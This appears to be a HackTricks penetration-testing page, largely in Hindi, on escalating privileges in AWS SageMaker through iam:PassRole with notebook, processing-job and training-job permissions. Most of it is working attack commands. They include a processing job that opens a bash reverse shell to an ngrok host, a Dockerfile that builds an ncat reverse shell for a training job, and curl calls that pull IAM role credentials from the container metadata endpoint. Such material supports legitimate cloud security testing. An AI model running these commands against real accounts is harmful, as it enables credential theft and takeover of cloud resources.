AWS - Sagemaker Privesc

AWS - Sagemaker Privesc

Support HackTricks

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

IAM भूमिका के साथ एक नोटबुक बनाना शुरू करें जो इसके साथ जुड़ी हुई है:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

उत्तर में NotebookInstanceArn फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक उदाहरण का ARN होगा। फिर हम create-presigned-notebook-instance-url API का उपयोग करके एक URL उत्पन्न कर सकते हैं जिसका उपयोग हम नोटबुक उदाहरण तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Navigate to the URL with the browser and click on `Open JupyterLab` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button.

अब IAM भूमिका के मेटाडेटा क्रेडेंशियल्स तक पहुंचना संभव है।

Potential Impact: सागेमेकर सेवा भूमिका में प्रिवेस्क।

sagemaker:CreatePresignedNotebookInstanceUrl

यदि Jupyter नोटबुक पहले से चल रहे हैं और आप उन्हें sagemaker:ListNotebookInstances (या किसी अन्य तरीके से) सूचीबद्ध कर सकते हैं। आप उनके लिए एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए गए अनुसार क्रेडेंशियल्स चुरा सकते हैं

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

संभावित प्रभाव: सagemaker सेवा भूमिका में प्रिवेस्क।

sagemaker:CreateProcessingJob,iam:PassRole

उन अनुमतियों के साथ एक हमलावर sagemaker को एक processingjob निष्पादित करने के लिए मजबूर कर सकता है जिसमें एक sagemaker भूमिका संलग्न है। हमलावर उस कंटेनर की परिभाषा निर्दिष्ट कर सकता है जो एक AWS प्रबंधित ECS खाता उदाहरण में चलाया जाएगा, और संलग्न IAM भूमिका के क्रेडेंशियल्स चुरा सकता है

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

संभावित प्रभाव: निर्दिष्ट सागेमेकर सेवा भूमिका के लिए प्रिवेस्क।

sagemaker:CreateTrainingJob, iam:PassRole

उन अनुमतियों के साथ एक हमलावर एक प्रशिक्षण नौकरी बनाने में सक्षम होगा, इस पर एक मनमाना कंटेनर चलाते हुए जिसमें एक भूमिका संलग्न होगी। इसलिए, हमलावर भूमिका के क्रेडेंशियल्स चुराने में सक्षम होगा।

यह परिदृश्य पिछले वाले की तुलना में शोषण करने के लिए अधिक कठिन है क्योंकि आपको एक डॉकर इमेज उत्पन्न करने की आवश्यकता है जो रेव शेल या क्रेड्स को सीधे हमलावर को भेजे (आप प्रशिक्षण नौकरी की कॉन्फ़िगरेशन में प्रारंभिक कमांड निर्दिष्ट नहीं कर सकते)।

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

संभावित प्रभाव: निर्दिष्ट सागेमेकर सेवा भूमिका के लिए प्रिवेस्क।

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) एक हाइपरपैरामीटर प्रशिक्षण कार्य बनाने में सक्षम होगा, इस पर एक मनमाना कंटेनर चलाते हुए और इसके साथ एक भूमिका संलग्न करते हुए। मैंने समय की कमी के कारण इसका लाभ नहीं उठाया, लेकिन यह पिछले शोषणों के समान लगता है, शोषण विवरण के साथ PR भेजने के लिए स्वतंत्र महसूस करें।

संदर्भ

HackTricks का समर्थन करें

Last updated